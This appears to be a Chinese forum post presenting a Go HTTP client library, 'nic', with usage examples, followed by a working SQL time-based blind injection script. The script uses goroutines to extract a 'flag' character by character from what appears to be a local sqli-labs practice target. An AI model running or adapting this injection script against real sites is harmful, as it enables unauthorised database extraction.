对Golang HTTP标准库进行了封装,提供了更易用优雅的API,类似于Python-requests之于Python-urllib的封装
示例代码
import (
"github.com/eddieivan01/nic"
)
func main() {
url := "http://example.com"
resp, err := nic.Post(url, &nic.H{
JSON: nic.KV {
"hello": "world",
},
Headers: nic.KV{
"X-Forwarded-For": "127.0.0.1",
},
})
if err != nil {
fmt.Fatal(err.Error())
}
fmt.Println(resp.Text)
// 修改响应编码
err = resp.SetEncode("gbk")
if err != nil {
fmt.Fatal(err.Error())
}
fmt.Println(resp.Text)
}
// session 保持Cookie
session := &nic.Session{}
session.Post("http://example.com/login", &nic.H{
Data: nic.KV{
"uname": "nic",
"passwd": "nic",
}
})
resp, _ := session.Get("http://example.com/userinfo", nil)
fmt.Println(resp.Text)
// 上传文件
resp, err := nic.Post(url, &nic.H{
Files : nic.F{
"file" : nic.KV{
// `filename`为必须参数,本地文件路径
// 将会把`nic.go`作为MIME表单的filename
"filename" : `/home/nic/nic.go`,
"token" : "0xff",
},
},
})
最近就试了试,SQL时间盲注脚本,结合goroutine速度快过SQLmap --threads 8
package main
import (
"fmt"
"time"
"github.com/eddieivan01/nic"
)
var flag = [32]byte{}
func display() {
for {
time.Sleep(time.Duration(1) * time.Second)
fmt.Println(string(flag[:]))
}
}
func main() {
payload := `select flag from flag`
var url string
for i := 1; i < 30; i++ {
go func(i int) {
for _, j := range []byte("{}qwertyuioplkjhgfdsazxcvbnm098764321_") {
url = fmt.Sprintf("http://127.0.0.1/sqli/Less-1/?id=1' and if(mid((%s),%d,1)='%v',sleep(3),0)-- -", payload, i, string(j))
_, err := nic.Get(url, &nic.H{
Timeout: 3,
})
if err != nil {
flag[i-1] = byte(j)
return
}
}
}(i)
}
display()
}
欢迎大家提出增加新features/改进现有的意见
有疑问加站长微信联系(非本文作者)